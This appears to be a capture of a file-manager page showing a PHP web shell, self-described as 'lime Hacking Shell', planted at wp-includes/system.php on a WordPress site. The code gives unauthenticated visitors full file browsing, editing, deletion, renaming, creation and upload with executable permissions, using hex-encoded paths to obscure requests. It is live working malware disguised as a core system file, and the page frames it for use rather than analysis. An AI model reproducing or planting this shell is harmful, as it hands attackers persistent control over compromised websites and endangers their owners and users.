File manager - Edit - /home/wsardargurjari/public_html/wp-includes/system.php
Back
<?php function lrxHeader() { echo "<style> body { background-color: #000; color: #0f0; font-family: monospace; margin: 0; padding: 0; } h2, p, h3 { margin: 10px; text-shadow: 0 0 5px #0f0; } input, textarea, button { background-color: #000; color: #0f0; border: 1px solid #0f0; margin: 5px; padding: 5px; width: calc(100% - 20px); box-sizing: border-box; } button:hover { background-color: #0f0; color: #000; } .container { padding: 20px; text-align: center; } ul { list-style-type: none; padding: 0; } li { margin: 5px 0; } a { color: #0f0; text-decoration: none; } a:hover { text-decoration: underline; } .edit-link { color: #00f; text-shadow: 0 0 5px blue; } .rename-link { color: #ff0; text-shadow: 0 0 5px yellow; } .delete-link { color: #f00; text-shadow: 0 0 5px red; } @media (max-width: 600px) { input, textarea, button { font-size: 16px; } } </style>"; echo "<div class='container'>"; echo "<h2 style='white-space: pre; text-shadow: 0 0 5px #0f0;'> { LIME } </h2>"; echo "<h2>lime Hacking Shell</h2>"; echo "<p>Advanced directory and file management with responsive shell execution.</p>"; echo "</div>"; } function light($sky) { $str = ''; for ($i = 0; $i < strlen($sky) - 1; $i += 2) { $str .= chr(hexdec($sky[$i] . $sky[$i + 1])); } return $str; } function tea($sky) { $str = ''; for ($i = 0; $i < strlen($sky); $i++) { $str .= dechex(ord($sky[$i])); } return $str; } function listDirectories($path) { if ($path !== '/') { $parent = dirname($path); echo "<h3><li><a href='?path=" . tea($parent) . "'>>>>>(Parentπ)</a></li></h3>"; } echo "<h3 style='text-decoration: underline;'>Directories:>>πβ¬οΈ</h3><ul>"; foreach (scandir($path) as $item) { if ($item == '.' || $item == '..') continue; $fullPath = $path . '/' . $item; if (is_dir($fullPath)) { echo "<li>-->><a href='?path=" . tea($fullPath) . "'>" . htmlspecialchars($item) . "π</a></li>"; } } echo "</ul>"; } function listFiles($path) { echo "<h3 style='text-decoration: underline;'>Files:>>πβ¬οΈ</h3><ul>"; foreach (scandir($path) as $item) { if ($item == '.' || $item == '..' || is_dir($path . '/' . $item)) continue; $fullPath = $path . '/' . $item; echo "<li>-->>π" . htmlspecialchars($item) . " "; echo "<a class='edit-link' href='?path=" . tea($path) . "&edit=" . tea($item) . "'>[Edit]</a> "; echo "<a class='rename-link' href='?path=" . tea($path) . "&rename=" . tea($item) . "'>[Rename]</a> "; echo "<a class='delete-link' href='?path=" . tea($path) . "&delete=" . tea($item) . "'>[Delete]</a>"; echo "</li>"; } echo "</ul>"; } $path = isset($_GET['path']) ? light($_GET['path']) : getcwd(); if (isset($_GET['delete'])) { unlink($path . '/' . light($_GET['delete'])); header('Location: ?path=' . tea($path) .''); } if (isset($_POST['rename']) && isset($_POST['newname'])) { rename($path . '/' . $_POST['rename'], $path . '/' . $_POST['newname']); header('Location: ?path=' . tea($path) .''); } if (isset($_POST['create']) && isset($_POST['filename'])) { file_put_contents($path . '/' . $_POST['filename'], ''); header('Location: ?path=' . tea($path) .''); } if (isset($_POST['edit']) && isset($_POST['content'])) { file_put_contents($path . '/' . $_POST['edit'], $_POST['content']); header('Location: ?path=' . tea($path) .''); } lrxHeader(); echo "<p>Current Directory: " . htmlspecialchars($path) . "</p>"; listDirectories($path); listFiles($path); if (isset($_GET['edit'])) { $file = $path . '/' . light($_GET['edit']); $content = file_get_contents($file); echo "<h3>Editing: " . htmlspecialchars($_GET['edit']) . "</h3>"; echo "<form method='POST'>"; echo "<textarea name='content' rows='10'>" . htmlspecialchars($content) . "</textarea><br>"; echo "<input type='hidden' name='edit' value='" . htmlspecialchars($_GET['edit']) . "'>"; echo "<button type='submit'>Save</button>"; echo "</form>"; } if (isset($_GET['rename'])) { $file = $path . '/' . light($_GET['rename']); echo "<h3>Renaming: " . basename($file) . "</h3>"; echo "<form method='POST'>"; echo "<input type='text' name='newname' placeholder='New name'>"; echo "<input type='hidden' name='rename' value='" . basename($file) . "'>"; echo "<button type='submit'>Rename</button>"; echo "</form>"; } echo "<h3>Create New File:</h3>"; echo "<form method='POST'>"; echo "<input type='text' name='filename' placeholder='Filename'><br>"; echo "<button type='submit' name='create'>Create</button>"; echo "</form>"; // upload echo '<form method="POST" enctype="multipart/form-data"> <input name="file" type="file"> <input type="submit" name="up" value="upload"></form>'; if(isset($_REQUEST["up"])){ $file = $path . '/' . $_FILES["file"]["name"]; if(@move_uploaded_file($_FILES["file"]["tmp_name"],$file)) { @chmod($file,0755); echo "OK !!"; } else { echo "FAIL !!"; } } ?>
| ver. 1.4 |
Github
|
.
| PHP 7.3.33 | Generation time: 0.02 |
proxy
|
phpinfo
|
Settings